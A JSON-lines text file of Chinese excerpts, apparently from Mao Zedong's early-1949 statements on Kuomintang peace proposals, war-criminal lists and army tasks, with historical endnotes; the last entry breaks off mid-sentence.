    {"text": "如果要使革命进行到底，那就是用革命的方法，坚决彻底干净全部地消灭一切反动势力，不动摇地坚持打倒帝国主义，打倒封建主义，打倒官僚资本主义，在全国范围内推翻国民党的反动统治，在全国范围内建立无产阶级领导的以工农联盟为主体的人民民主专政的共和国。 这样，就可以使中华民族来一个大翻身，由半殖民地变为真正的独立国，使中国人民来一个大解放，将自己头上的封建的压迫和官僚资本（即中国的垄断资本）的压迫一起掀掉，并由此造成统一的民主的和平局面，造成由农业国变为工业国的先决条件，造成由人剥削人的社会向着社会主义社会发展的可能性。 如果要使革命半途而废，那就是违背人民的意志，接受外国侵略者和中国反动派的意志，使国民党赢得养好创伤的机会，然后在一个早上猛扑过来，将革命扼死，使全国回到黑暗世界。"},
    {"text": "中国各民主党派、各人民团体是否能够真诚地合作，而不致半途拆伙，就是要看它们在这个问题上是否采取一致的意见，是否能够为着推翻中国人民的共同敌人而采取一致的步骤。"},
    {"text": "以蒋介石等人为首的中国反动派，自一九二七年四月十二日反革命政变至现在的二十多年的漫长岁月中，难道还没有证明他们是一伙满身鲜血的杀人不眨眼的刽子手吗？"},
    {"text": "请大家想一想，从一九三六年十二月西安事变以来，从一九四五年十月重庆谈判和一九四六年一月政治协商会议以来，中国人民对于这伙盗匪曾经做得何等仁至义尽，希望同他们建立国内的和平。"},
    {"text": "他们依靠美国帝国主义把四亿七千五百万同胞投入了空前残酷的大内战，他们用美国帝国主义所供给的轰炸机、战斗机、大炮、坦克、火箭筒、自动步枪、汽油弹、毒气弹等等杀人武器屠杀了成百万的男女老少，而美国帝国主义则依靠他们掠夺中国的领土权、领海权、领空权、内河航行权、商业特权、内政外交特权，直至打死人、压死人、强奸妇女而不受任何处罚的特权。"},
    {"text": "只有彻底地消灭了中国反动派，驱逐了美国帝国主义的侵略势力出中国，中国才能有独立，才能有民主，才能有和平，这个真理难道还不明白吗？"},
    {"text": "这次一上台却大谈其“光荣的和平”，说什么“政府曾努力追求和平，由于和平不能实现，不得已而用兵，用兵的最后目的仍在求得和平的恢复”。"},
    {"text": "美国官方人士现在不但热心于中国的“和平”，而且一再表示，从一九四五年十二月莫斯科苏美英三国外长会议以来，美国就遵守着“不干涉中国内政的政策”。"},
    {"text": "” 〔6〕 外国和中国的毒蛇们希望中国人民还像这个农夫一样地死去，希望中国共产党，中国的一切革命民主派，都像这个农夫一样地怀有对于毒蛇的好心肠。"},
    {"text": "况且盘踞在大部分中国土地上的大蛇和小蛇，黑蛇和白蛇，露出毒牙的蛇和化成美女的蛇，虽然它们已经感觉到冬天的威胁，但是还没有冻僵呢！"},
    {"text": "中国人民决不怜惜蛇一样的恶人，而且老老实实地认为：凡是耍着花腔，说什么要怜惜一下这类恶人呀，不然就不合国情、也不够伟大呀等等的人们，决不是中国人民的忠实朋友。"},
    {"text": "确是有这么一种“国民党的自由主义人士”或非国民党的“自由主义人士”，他们劝告中国人民应该接受美国和国民党的“和平”，就是说，应该把帝国主义、封建主义和官僚资本主义的残余当作神物供养起来，以免这几种宝贝在世界上绝了种。"},
    {"text": "正处在革命高潮中的中国人民需要有自己的朋友，应当记住自己的朋友，而不要忘记他们。 忠实于人民革命事业的朋友，努力保护人民利益而反对保护敌人利益的朋友，在中国无疑是不少，无疑是一个也不应被忘记和被冷淡的。"},
    {"text": "如上所说，既然敌人正在阴谋地用“和平”的方法和混入革命阵营的方法以求保存和加强自己的阵地，而人民的根本利益则要求彻底消灭一切反动势力并驱逐美国帝国主义的侵略势力出中国，那末，凡是劝说人民怜惜敌人、保存反动势力的人们，就不是人民的朋友，而是敌人的朋友了。"},
    {"text": "人民解放战争愈接近于最后胜利，一切革命的人民和一切人民的朋友将愈加巩固地团结一致，在中国共产党的领导之下，坚决地主张彻底消灭反动势力，彻底发展革命势力，一直达到在全中国范围内建立人民民主共和国，实现统一的民主的和平。"},
    {"text": "与此相反，美国帝国主义者、中国反动派和他们的朋友，虽然不能够巩固地团结一致，虽然会发生无穷的互相争吵，互相恶骂，互相埋怨，互相抛弃，但是在有一点上却会互相合作，这就是用各种方法力图破坏革命势力而保存反动势力。"},
    {"text": "已经有了充分经验的中国人民及其总参谋部中国共产党，一定会像粉碎敌人的军事进攻一样，粉碎敌人的政治阴谋，把伟大的人民解放战争进行到底。"},
    {"text": "一九四九年中国人民解放军将向长江以南进军，将要获得比一九四八年更加伟大的胜利。 一九四九年我们在经济战线上将要获得比一九四八年更加伟大的成就。"},
    {"text": "〔1〕 一九四五年日本投降后，国民党政府曾将原东北三省（辽宁、吉林、黑龙江）划分为辽宁、辽北、安东、吉林、合江、松江、黑龙江、嫩江、兴安等九个省。 一九四九年中国共产党领导下的东北行政委员会曾将东北三省行政区划调整为辽东、辽西、吉林、黑龙江、松江五个省，加上热河，统称为东北六省。 一九五四年中央人民政府委员会决定将辽东省、辽西省合并改称辽宁省，松江省和黑龙江省合并为黑龙江省，吉林省仍照旧。 一九五五年撤销了热河省，原辖地区分别划归河北、辽宁两省和内蒙古自治区。"},
    {"text": "〔3〕 石家庄于一九四七年十一月十二日攻克，运城于一九四七年十二月二十八日攻克，四平于一九四八年三月十三日攻克，洛阳于一九四八年三月十四日和四月五日两次攻克，宜川于一九四八年三月三日攻克，宝鸡于一九四八年四月二十六日攻克，潍县于一九四八年四月二十七日攻克，临汾于一九四八年五月十七日攻克，开封于一九四八年六月二十二日攻克。"},
    {"text": "（2）坑道作业——秘密掘进到敌人碉堡或城墙底下，用炸药炸开，随即发起猛烈突击； （3）对壕作业，亦即近迫作业——对着敌人的坚固工事，挖掘壕沟，荫蔽接近敌人，突然发起冲击； （4）抛射炸药包——利用抛射筒或迫击炮发射炸药包，破坏敌人防御工事； （5）集中兵力、火力突破一点，实行穿插分割等“尖刀战法”。"},
    {"text": "〔4〕 这里所说的“整旅”和“整师”，是说国民党军被整个歼灭了的旅和师。 这里所说的旅，是指国民党军队整编以后的旅，相当于整编以前的师； 所说的师，指整编以前的师。"},
    {"text": "评战犯求和 评战犯求和 * （一九四九年一月四日） 为了保存中国反动势力和美国在华侵略势力，中国第一号战争罪犯国民党匪帮首领蒋介石在今年元旦发表了一篇求和的声明。 战犯蒋介石宣称：“只要和议无害于国家的独立完整，而有助于人民的休养生息，只要神圣的宪法不由我而违反，民主宪政不因此而破坏，中华民国的国体能够确保，中华民国的法统不致中断，军队有确实的保障，人民能够维持其自由的生活方式与目前最低生活水准，则我个人更无复他求。"},
    {"text": "须知由第一号战犯国民党匪首出面求和，并且发表这样的声明，对于中国人民认识国民党匪帮和美国帝国主义的阴谋计划，有一种显然的利益。 中国人民可以由此知道：原来现在喧嚷着的所谓“和平”，就是蒋介石这一伙杀人凶犯及其美国主子所迫切地需要的东西。"},
    {"text": "“和平”而有害于中美友好通商航海条约 〔1〕 、中美空中运输协定 〔2〕 、中美双边协定 〔3〕 等项条约，有害于美国在华驻扎海陆空军，建立军事基地，开发矿产和独占贸易等项特权，有害于将中国作为美国殖民地的地位，一句话，“和平”而有害于这一切保护蒋介石反动国家的“独立完整”的办法，那就一概不可以。"},
    {"text": "“有助于人民的休养生息”——“和平”必须有助于已被击败但尚未消灭的中国反动派的休养生息，以便在休养好了之后，卷土重来，扑灭革命。"},
    {"text": "“神圣的宪法不由我而违反，民主宪政不因此而破坏，中华民国的国体能够确保，中华民国的法统不致中断”——确保中国反动阶级和反动政府的统治地位，确保这个阶级和这个政府的“法统不致中断”。 这个“法统”是万万“中断”不得的，倘若“中断”了，那是很危险的，整个买办地主阶级将被消灭，国民党匪帮将告灭亡，一切大中小战争罪犯将被捉拿治罪。 “军队有确实的保障”——这是买办地主阶级的命根，虽然已被可恶的人民解放军歼灭了几百万，但是现在还剩下一百几十万，务须“保障”而且“确实”。 倘若“保障”而不“确实”，买办地主阶级就没有了本钱，“法统”还是要“中断”，国民党匪帮还是要灭亡，一切大中小战犯还是要被捉拿治罪。 大观园里贾宝玉的命根是系在颈上的一块石头 〔4〕 ，国民党的命根是它的军队，怎么好说不“保障”，或者虽有“保障”而不“确实”呢？"},
    {"text": "“人民能够维持其自由的生活方式与目前最低生活水准”——中国买办地主阶级必须维持其向全国人民实行压迫剥削的自由和他们目前的骄奢淫逸的生活水准，中国劳动人民则必须维持其被人压迫剥削的自由和他们目前的饥寒交迫的生活水准。"},
    {"text": "这个条件一经我们的可爱的蒋总统提了出来，几千万的工人、手工工人和自由职业者，几万万的农民，几百万的知识分子和公教人员，惟有一齐拍掌，五体投地，口称万岁。"},
    {"text": "姑且把政治、经济两方面的力量放在一边不去说它们，单就“军事力量”一方面来说，人民解放军现在有三百多万人，“超过”这个数目一倍就是六百多万人，十倍就是三千多万人，“几十倍”是多少呢？"},
    {"text": "中共中央毛泽东主席关于时局的声明 中共中央毛泽东主席 关于时局的声明 （一九四九年一月十四日） 自一九四六年七月，南京国民党反动政府在美国帝国主义者的帮助之下，违背人民意志，撕毁停战协定 〔1〕 和政治协商会议的决议 〔2〕 ，发动全国规模的反革命的国内战争以来，已经两年半了。 在这两年半的战争中，南京国民党反动政府违背民意，召集了伪国民大会，颁布了伪宪法，选举了伪总统，颁布了所谓“动员戡乱”的伪令，出卖了大批的国家权利给美国政府，从美国政府获得了数十亿美元的外债，勾引了美国政府的海军和空军占据中国的领土、领海、领空，和美国政府订立了大批的卖国条约，接受美国军事顾问团参加中国的内战，从美国政府获得了大批的飞机、坦克、重炮、轻炮、机关枪、步枪、炮弹、子弹和其他军用物资，以为屠杀中国人民的武器。 南京国民党反动政府在上述各项反动的卖国的内政外交基本政策的基础上，指挥它的数百万军队，向着中国人民解放区和中国人民解放军举行了残酷的进攻。"},
    {"text": "总之，南京国民党反动政府，在其反动的卖国的内政外交基本政策的基础之上所举行的国内战争，业已陷全国人民于水深火热之中，南京国民党反动政府决不能逃脱自己应负的全部责任。"},
    {"text": "国民党反动政府认为人民可欺，认为停战协定和政治协商会议的决议可以随意撕毁，认为人民解放军不值一击，认为他们的数百万军队可以横行全国，认为美国政府对于他们的援助是无穷无尽的。"},
    {"text": "自一九四六年七月起，中国共产党领导英勇的人民解放军抵抗了国民党反动政府的四百三十万军队的进攻，然后又使自己转入了反攻，从而收复了解放区的一切失地，并且解放了石家庄、洛阳、济南、郑州、开封、沈阳、徐州、唐山诸大城市。"},
    {"text": "在此种形势下，为着保持国民党政府的残余力量，取得喘息时间，然后卷土重来扑灭革命力量的目的，中国第一名战争罪犯国民党匪帮首领南京政府伪总统蒋介石，于今年一月一日，提出了愿意和中国共产党进行和平谈判的建议。"},
    {"text": "在此种民意基础之上，中国共产党声明：虽然中国人民解放军具有充足的力量和充足的理由，确有把握，在不要很久的时间之内，全部地消灭国民党反动政府的残余军事力量； 但是，为了迅速结束战争，实现真正的和平，减少人民的痛苦，中国共产党愿意和南京国民党反动政府及其他任何国民党地方政府和军事集团，在下列条件的基础之上进行和平谈判。"},
    {"text": "如果南京国民党反动政府中的人们，愿意实现真正的民主的和平，而不是虚伪的反动的和平，那末，他们就应当放弃其反动的条件，承认中国共产党提出的八个条件，以为双方从事和平谈判的基础。"},
    {"text": "中国人民解放军全体指挥员战斗员同志注意：在南京国民党反动政府接受并实现真正的民主的和平以前，你们丝毫也不应当松懈你们的战斗努力。"},
    {"text": "〔5〕 毛泽东在这个声明里提出的八项和平条件，成为一九四九年四月中国共产党代表团和以张治中为首的国民党政府代表团进行和平谈判的基础。"},
    {"text": "中共发言人评南京行政院的决议 中共发言人评南京行政院的决议 （一九四九年一月二十一日） 南京国民党反动政府的官方通讯社中央社十九日电称：十九日上午九时行政院会议广泛讨论时局，决议如下：“政府为遵从全国人民之愿望，蕲求和平之早日实现，特慎重表示，愿与中共双方立即先行无条件停战，并各指定代表进行和平商谈。”中国共产党发言人称：南京行政院的这个决议没有提到一月一日南京伪总统蒋介石建议和平谈判的声明，也没有提到一月十四日中国共产党毛泽东主席建议和平谈判的声明，没有表示对于这两个建议究竟是拥护哪一个，反对哪一个，好像一月一日和一月十四日国共双方并没有提出过什么建议一样，却另外提出了自己的建议，这是完全令人不能理解的。在实际上，南京行政院不但完全忽视中共一月十四日的建议，而且直接推翻了伪总统蒋介石一月一日的建议。蒋介石在其一月一日的建议中说：“只要共党一有和平的诚意，能作确切的表示，政府必开诚相见，愿与商讨停止战事，恢复和平的具体方法。”过了十九天，同一个政府的一部分机构，即南京政府的“行政院”，却推翻了这个政府的“总统”的声明，不是“必开诚相见，愿与商讨停止战事恢复和平的具体方法”，而是“立即先行无条件停战，并各指定代表进行和平商谈”了。我们要问南京“行政院”的先生们，究竟是你们的建议为有效呢，还是你们的“总统”的建议为有效呢？你们的“总统”把“停止战事恢复和平”认为是一件事，声明必定开诚相见愿与中共商讨实现这件事的具体方法；你们则将战争与和平分割为两件事，不愿意派出代表和我们商讨停止战争的具体方法，而却异想天开地建议“立即先行无条件停战”，然后再派代表“进行和平商谈”，究竟是你们的建议对呢，还是你们“总统”的建议对呢？我们认为南京伪行政院是越出了自己的职权的，它没有资格推翻伪总统的建议而擅自作出自己的新建议。我们认为南京行政院的这个新建议是没有理由的，打了这么久这么大和这么残酷的战争，自应双方派人商讨和平的基本条件，并作出双方同意的停战协定，战争才能停得下来。不但人民有这种希望，就是国民党方面亦有不少人表示了这种希望。如果照南京行政院的毫无理由的“决议”，不先行停战就不愿意进行和平谈判，则国民党的和平诚意在什么地方呢？南京行政院的“决议”是做出来了，不先行停战就没有和平谈判的可能了，和平之门从此关死了，而如果要谈判，则只有取消这个毫无理由的“决议”，二者必居其一。如果南京行政院不愿意取消自己的“决议”，那就是表明南京国民党反动政府并无与其对方进行和平谈判的诚意。人们要问：南京方面果有诚意，为什么不愿意商讨和平的具体条件呢？南京的和平建议是虚伪的这样一个论断，难道不是已经证实了吗？中共发言人说：南京现在业已陷入无政府状态，伪总统有一个建议，伪行政院又有一个建议，这叫人们和谁去打交道呢？"},
    {"text": "中共发言人关于命令国民党反动政府重新逮捕前日本侵华军总司令冈村宁次和逮捕国民党内战罪犯的谈话 中共发言人关于 命令国民党反动政府重新逮捕 前日本侵华军总司令冈村宁次和 逮捕国民党内战罪犯的谈话 （一九四九年一月二十八日） 据南京国民党反动政府的中央通讯社一月二十六日电称：“政府发言人称：政府为提早结束战争，以减轻人民痛苦，一月以来已作种种措施与步骤。"},
    {"text": "且谓谈判地点要待北平完全解放后才能确定。 试问中共方面如不即时指派代表，约定地点，又不停止军事行动，而竟诿诸所谓北平完全解放以后，岂非拖延时间，延长战祸？"},
    {"text": "”又据南京中央社一月二十六日上海电称：“日本战犯前中国派遣军总司令官冈村宁次大将，二十六日由国防部审判战犯军事法庭举行复审后，于十六时由石美瑜庭长宣判无罪。"},
    {"text": "据此，中共发言人表示下列诸点： （一）日本战犯前中国派遣军总司令官冈村宁次大将，为日本侵华派遣军一切战争罪犯中的主要战争罪犯 〔3〕 ，今被南京国民党反动政府的战犯军事法庭宣判无罪；"},
    {"text": "全国人民、一切民主党派、人民团体以及南京国民党反动政府系统中的爱国人士，必须立即起来反对南京反动政府方面此种出卖民族利益，勾结日本法西斯军阀的犯罪行为。"},
    {"text": "我们认为你们现在的种种作为，是在企图以虚伪的和平谈判掩护你们重整战备，其中包括勾引日本反动派来华和你们一道屠杀中国人民一项阴谋在内；"},
    {"text": "（二）从南京国民党反动政府发言人一月二十六日的声明中，获知南京的先生们要求和平谈判是那样地紧张、热烈、殷勤、迫切，据说都是为了“缩短战争时间”，“减轻人民痛苦”，“以拯救人民为前提”；"},
    {"text": "那时，上海、南京和各大都市的官办的或御用的所谓参议会、商会、工会、农会、妇女团体、文化团体一齐起哄，“拥护动员戡乱”，“消灭共匪”，又是那样地紧张、热烈、殷勤、迫切，又是什么人的劝告也不听。"},
    {"text": "如今，过了两年半，被你们屠杀的人民何止数百万，被你们焚毁的村庄，奸淫的妇女，掠夺的财物，被你们的空军炸毁的有生无生力量，是数不清的，你们犯了滔天大罪，这笔账必得算一算。"},
    {"text": "这就不但替和平谈判准备了地点，而且替解决南京、上海、武汉、西安、太原、归绥 〔9〕 、兰州、迪化 〔10〕 、成都、昆明、长沙、南昌、杭州、福州、广州、台湾、海南岛等地的和平问题树立了榜样。"},
    {"text": "我们正在同各民主党派、人民团体和无党派民主人士，包括在我们区域的和在你们区域的都在内，商量战争罪犯的名单问题，准备第一个条件 中共发言人关于命令国民党政府逮捕冈村宁次和内战罪犯的谈话的具体内容。"},
    {"text": "除了逮捕日本战犯冈村宁次以外，你们必须立即动手逮捕一批内战罪犯，首先逮捕去年十二月二十五日中共权威人士声明中所提四十三个战犯之在南京、上海、奉化、台湾等处者。"},
    {"text": "其中最主要的，是蒋介石、宋子文、陈诚、何应钦、顾祝同、陈立夫、陈果夫、朱家骅、王世杰、吴国桢、戴传贤、汤恩伯、周至柔、王叔铭、桂永清 〔11〕 等人。"},
    {"text": "〔2〕 一九四九年一月二十五日中共发言人关于和平谈判的谈话指出：“我们允许南京反动政府派出代表和我们进行谈判，不是承认这个政府还有代表中国人民的资格，而是因为这个政府手里还有一部分反动的残余军事力量。 如果这个政府感于自己已经完全丧失人民的信任，感于它手里的残余反动军事力量已经无法抵抗强大的人民解放军，而愿意接受中共的八个和平条件的话，那末，用谈判的方法去解决问题，使人民少受痛苦，当然是比较好的和有利于人民解放事业的。"},
    {"text": "一九三七年至一九四五年期间，历任日军第十一军、华北方面军、第六方面军司令官和中国派遣军总司令官，在中国实行了极其残酷的烧光、杀光、抢光的“三光”政策。"},
    {"text": "〔6〕 国民党反动政府提出的“五条”，指蒋介石在一九四九年元旦声明中所提出的关于和平谈判的五个条件，即：一、“无害于国家的独立完整”；"},
    {"text": "〔8〕 国民党中央通讯社于一九四九年一月二十七日发表南京政府国防部的文告称：“华北方面，为了缩短战争，获致和平，借以保全北平故都基础与文物古迹，傅总司令作义曾于二十二日发表文告，宣布自二十二日上午十时起休战。"},
    {"text": "陈诚，曾任国民党军参谋总长，当时任国民党政府台湾省主席。 何应钦，曾任国民党军参谋总长和国防部长。 顾祝同，当时任国民党军参谋总长。"},
    {"text": "中共发言人关于和平条件必须包括惩办日本战犯和国民党战犯的声明 中共发言人关于 和平条件必须包括惩办日本战犯 和国民党战犯的声明 （一九四九年二月五日） 上月二十八日中国共产党发言人关于和平谈判问题的声明，到上月三十一日得到了国民党反动卖国政府发言人的答复。"},
    {"text": "对于中共要求国民党反动卖国政府负责重新逮捕日本侵华罪魁冈村宁次 〔1〕 ，准备押送人民解放军，并负责看管其他日本战犯勿令逃逸一节，该发言人说，这“是一个司法问题。"},
    {"text": "并且说中共发言人的声明“态度上似乎不够郑重”，而且是“节外生枝”。 对此，中共发言人声明：在一月二十八日那种时候，我们还把国民党反动卖国政府说成是一个政府，在这点上说来，我们的态度确乎不够郑重。"},
    {"text": "日本是你们如此热爱的地方，以致使你们相信日本战犯们生活在你们统治的区域，还不如使他们生活在日本较为安全些，较为舒服些，较为能受到正当待遇些。"},
    {"text": "无论你们叫节外生枝也好，不叫节外生枝也好，这件事必得谈，因为这件事是发生在一月十四日以后的，没有包括在我们原来所提的八个条件以内，因此我们认为必须在第一个条件中增加惩办日本战犯一个项目。"},
    {"text": "你们是愿意“缩短战争时间”、“减轻人民痛苦”、“以拯救人民为前提”的大慈大悲救苦救难的人们，你们是有很多的好心眼儿的人们，你们对于这些屠杀几百万同胞的负责者应当没有什么爱惜，从你们愿意以惩办战犯作为一条谈判基础这一点来看，你们似乎也并不很爱惜这些东西。"},
    {"text": "南京或广州或奉化或上海的假定的象征的国民党反动卖国“政府”（注意，政府二字加上引号）的先生们，如果你们以为我们的这篇声明的态度又有些不够郑重的话，那末，请原谅，我们对你们只能取这种态度。"},
    {"text": "把军队变为工作队 把军队变为工作队 * （一九四九年二月八日） 四日电悉。你们加紧整训，准备提前一个月出动 〔1〕 ，甚好。望照此去做，不要放松。但在实际上，三月仍须整训，并须着重学习政策，准备接收并管理大城市。今后将一反过去二十年先乡村后城市的方式，而改变为先城市后乡村的方式。军队不但是一个战斗队，而且主要地是一个工作队。军队干部应当全体学会接收城市和管理城市，懂得在城市中善于对付帝国主义和国民党反动派，善于对付资产阶级，善于领导工人和组织工会，善于动员和组织青年，善于团结和训练新区的干部，善于管理工业和商业，善于管理学校、报纸、通讯社和广播电台，善于处理外交事务，善于处理各民主党派、人民团体的问题，善于调剂城市和乡村的关系，解决粮食、煤炭和其他必需品的问题，善于处理金融和财政问题。总之，过去军队干部和战士们所不熟悉的一切城市问题，今后均应全部负担在自己的身上。你们前进，要占领四五个省的地区，除城市外，还有广大乡村的工作要你们去做。南方乡村，因为完全是新区，和北方老区的工作根本不同。头一年还不能实行减租减息政策，大体上只能照原样交租交息。要在此种条件下去进行乡村工作。因此，乡村工作，也得从新学习。但是，乡村工作和城市工作比较起来，是易于学习的。城市工作则较为困难，而又是目前学习的最主要方面。如果我们的干部不能迅速学会管理城市，则我们将会发生极大困难。因此，你们必须在二月处理其他一切问题，而在三月一个整月内，全部学习城市工作和新区工作。国民党只有一百几十万军队，散布在广大地方。当然还有许多仗要打，但是像淮海战役 〔2〕 那样大规模作战的可能性就不多了，或者简直可以说是没有了，严重的战争时期已经过去了。军队还是一个战斗队，在这一点上决不能松气，如果松气，那就是错误的。但是，军队变为工作队，现在已经要求我们这样提出任务了。如果现在我们还不提出此种任务，并下决心去做，我们就会犯极大的错误。我们现在正在准备五万三千个干部随军南下，但是这个数目很小。占领八九个省、占领几十个大城市所需要的工作干部，数量极大，这主要依靠军队本身自己解决。军队就是一个学校，二百一十万野战军，等于几千个大学和中学，一切工作干部，主要地依靠军队本身来解决。此点，你们必须有明确的认识。既然严重的战争基本上已经过去，则军队人数和装备的补充，以达到适当程度为宜，决不可要求太多、太好、太完备，以至引起财政危机。这一点，你们亦必须严重考虑。上述方针，完全适用于第四野战军，请林彪、罗荣桓同志同样注意。我们已和康生同志谈了许多，请他于十二日赶到你们处，和你们会商。你们意见如何及如何处置，会商后请即电告。华东局华东军区机构，立即移至徐州同总前委 〔3〕 和第三野战军前委一同工作，集中精力布置南进。一切后方工作交山东分局负责。 注 释 * 这是毛泽东为中共中央军事委员会写的复第二野战军和第三野战军的电报。这个电报，同时发给其他有关的野战军和有关的中央局。这个电报估计到在辽沈、淮海、平津三大战役以后，严重的战争时期已经过去，因而及时地提出了人民解放军不但是一个战斗队，同时必须是一个工作队，而且在一定条件下主要地要担负工作队的任务。这个方针，对当时新解放区干部问题的解决和人民革命事业的顺利发展起了巨大的作用。关于人民解放军是战斗队又是工作队的性质，参看本卷《在中国共产党第七届中央委员会第二次全体会议上的报告》的第二部分。 〔1〕 指第二野战军和第三野战军准备把渡江作战的行动由一九四九年四月提前到三月。后来由于同国民党反动政府进行和平谈判，人民解放军渡江作战的时间又延至四月下旬。 〔2〕 见本卷《关于淮海战役的作战方针》注〔1〕。 〔3〕 为适应淮海战役作战的需要，中共中央军事委员会于一九四八年十一月十六日决定，由刘伯承、陈毅、邓小平、粟裕、谭震林组成总前委，邓小平任总前委书记，统一领导中原野战军和华东野战军，执行领导淮海前线军事和作战的职权。淮海战役后，中央军委又作出决定，在渡江作战中，总前委照旧行使领导军事和作战的职权，华东局和总前委均直属中央。"},
    {"text": "现在距离解放军攻克济南只有四个多月，距离攻克沈阳只有三个多月，但是国民党在军事上、政治上、经济上、文化宣传上的一切残余力量，却已经陷于不可挽救的四分五裂、土崩瓦解的状态。 国民党统治的总崩溃开始于北线的辽沈战役 〔1〕 、平津战役 〔2〕 和南线的淮海战役 〔3〕 期间，这三个战役使国民党在去年十月初至今年一月底的不足四个月中丧失约一百五十四万多人，包括国民党正规军一百四十四个整师。 国民党统治总崩溃是中国人民解放战争和中国人民革命运动伟大胜利的必然结果，但是国民党及其美国主人的“和平”叫嚣，对于促进国民党崩溃一事，也起了相当的作用。"},
    {"text": "蒋介石集团长期地不敢接受美国人的这个命令，其理由，在国民党中央宣传部去年十二月二十七日的一项指示中说得很明白：“我如不能战，即亦不能和。"},
    {"text": "去年十二月二十五日，白崇禧及其指导下的湖北省参议会向蒋介石提出了“和平解决”的问题 〔5〕 ，迫使蒋介石不得不在今年一月一日发布在五个条件 〔6〕 下进行和谈的声明。"},
    {"text": "虽然蒋介石、李宗仁和美国人对于这一手曾经作过各种布置，希望合演一出比较可看的双簧，但是结果却和他们的预期相反，不但台下的观众愈走愈稀，连台上的演员也陆续失踪。"},
    {"text": "虽然国民党已经没有一个“全面”的“政府”，虽然许多地方都在进行着局部和平的活动，但是国民党死硬派却在反对局部和平而要求所谓“全面和平”，其目的就是取消和平，妄想再战；"},
    {"text": "以一个四分五裂土崩瓦解的国民党而要求所谓“全面和平”的滑稽剧，在本月九日上海伪国防部政工局长战争罪犯邓文仪的一篇声明中，达到了高峰。 邓文仪和孙科一样，推翻了上月二十二日李宗仁关于以中共的八项和平条件 〔10〕 为谈判基础的声明，而要求所谓“平等的和平，全面的和平”，否则“不惜牺牲一切，与共党周旋到底”。"},
    {"text": "”邓文仪在这里不但创造了一个伪国防部的局部立场以区别于伪国民党政府的全面立场，而且事实上还创造了一个伪国防部政工局的小局部立场以区别于伪国防部的大局部立场。"},
    {"text": "因为邓文仪公开反对并污蔑北平的和平解决，而伪国防部则在一月二十七日称赞北平的和平解决，是“为了缩短战争，获致和平，借以保全北平故都基础与文物古迹”，并称其他地方例如大同绥远等处 〔12〕 亦将依同样方法“实施休战”。"},
    {"text": "注 释 〔1〕 见本卷《关于辽沈战役的作战方针》注〔1〕。 〔2〕 见本卷《关于平津战役的作战方针》注〔1〕。 〔3〕 见本卷《关于淮海战役的作战方针》注〔1〕。 〔4〕 见本卷《别了，司徒雷登》注〔1〕。"},
    {"text": "〔5〕 一九四八年十二月二十四日，国民党华中“剿总”总司令白崇禧，利用当时对蒋介石极为不利的形势，发出致蒋介石电，提出“恢复和平谈判”以解决时局的主张，目的是逼蒋下台，抬高桂系地位。 二十五日，在白崇禧指导下，湖北省参议会通过致蒋介石电，指出“如战祸继续蔓延，不立谋改弦更张之道，则国将不国，民将不民”，要蒋介石“循政治解决之常轨，觅取途径，恢复和谈”。"},
    {"text": "美国政府在其一月十二日答复国民党政府的“备忘录”中，说明美国之所以拒绝国民党政府的要求，是因“殊难相信”“能达到任何有益的效果”。"},
    {"text": "〔8〕 国民党政府行政院长孙科于一九四九年二月六七两日在广州两次发表谈话，反对李宗仁关于以中共所提八项和平条件作为谈判基础的声明，说是“现政府已迁穗办公，吾人应对过去重新检讨”，又说“共党所提出之惩治战犯一节，即系绝对不能接受者”。"},
    {"text": "〔11〕 国民党政府国防部政工局长邓文仪，于一九四九年二月九日在上海发表《和平与战争的发展》的书面谈话，提出所谓“四项意见”：一、“政府要和”，二、“中共要战”，三、“北平局部和平成了骗局”，四、“备战以言和，能战方能和”，“不惜牺牲一切，与共党周旋到底”。"},
    {"text": "国民党反动派由“呼吁和平”变为呼吁战争 国民党反动派由“呼吁和平” 变为呼吁战争 （一九四九年二月十六日） 自从一月一日蒋匪介石发动和平攻势以后，曾经连篇累牍地表示自己是愿意“缩短战争时间”，“减轻人民痛苦”，“以拯救人民为前提”的国民党反动派的英雄好汉们，一到二月上旬，和平的调子就突然低落下去，“和共党周旋到底”的老调忽又高弹起来。最近数日，更是如此。二月十三日，国民党中央宣传部发给“各党部各党报”的《特别宣传指示》上说：“叶剑英向我后方宣传中共对和平有诚意，而指责政府军事布置为无诚意谋和。各报对此，必须依据下列各点从正面与侧面力加驳斥。”这个《特别宣传指示》一连列举了好几点应当“驳斥”的理由。“政府与其无条件投降，不如作战到底。”“毛泽东一月十四日声明所提八点为亡国条件，政府原不应接受。”“中共应负破坏和平之责任。今日中共反而提出所谓战犯名单，将政府负责人士尽皆列入，更要求政府先行逮捕，其蛮横无理，显而易见。中共如不改变此种作风，则和平商谈之途径，势难寻觅。”两星期以前那种如丧考妣地急着要谈判的神气，再也不见了。所谓“缩短战争时间”，“减轻人民痛苦”，“以拯救人民为前提”这些传遍人间、沁人心脾的名句，再也不提了。假如中共不愿意改变自己的“作风”，一定要惩办战争罪犯，那就不能谈和平了。究竟是以拯救人民为前提呢，还是以拯救战争罪犯为前提呢？按照国民党英雄好汉的《特别宣传指示》，是选择了后者。战争罪犯的名单，中共方面尚在向各民主党派人民团体征求意见中，现在已经收到了好几方面的意见。根据这些已经收到的意见，都是不赞成去年十二月二十五日中共权威人士所提的那个名单。他们认为那个名单所列战犯只有四十三个，为数太少；他们认为要负发动反革命战争屠杀数百万人民的责任的人决不止四十三个，而应当是一百几十个。现在姑且假定战犯将确定为一百几十个。那末，请问国民党的英雄好汉们，你们为什么要反对惩办战犯呢？你们不是愿意“缩短战争时间”“减轻人民痛苦”的吗？假如因为你们这一反对，使得战争还要打下去，岂非拖延时间，延长战祸？“拖延时间，延长战祸”这八个字的罪名是你们在一九四九年一月二十六日以南京政府发言人的名义发出声明，加在共产党身上的，现在难道你们想收回去，写上招贴，挂在你们自己身上，以为荣耀吗？你们是“以拯救人民为前提”的大慈大悲的人们，为什么一下子又改成以拯救战犯为前提了呢？根据你们政府内政部的统计，中国人民的数目，不是四亿五千万，而是四亿七千五百万，这和一百几十个战犯相比，究竟大小如何呢？英雄们是学过算术的，请你们按照算术教科书好好地算一下再作结论吧。倘若你们不去算清楚就将你们那个原来很好、我们也同意、全国人民也同意的提法——“以拯救人民为前提”，急急忙忙地改成“以拯救一百几十个战犯为前提”，那你们可要仔细，你们就一定站不住脚。这些口口声声“以拯救人民为前提”的人们，在自己“呼吁和平”几个星期之后，又不再是“呼吁和平”，而是呼吁战争了。国民党死硬派就是这样倒霉的，他们坚决地反对人民，站在人民的头上横行霸道，因而把自己孤立在宝塔的尖顶上，而且至死也不悔悟。长江流域和南方的人民大众，包括工人，农民，知识分子，城市小资产阶级，民族资产阶级，开明绅士，有良心的国民党人，都请听着：站在你们头上横行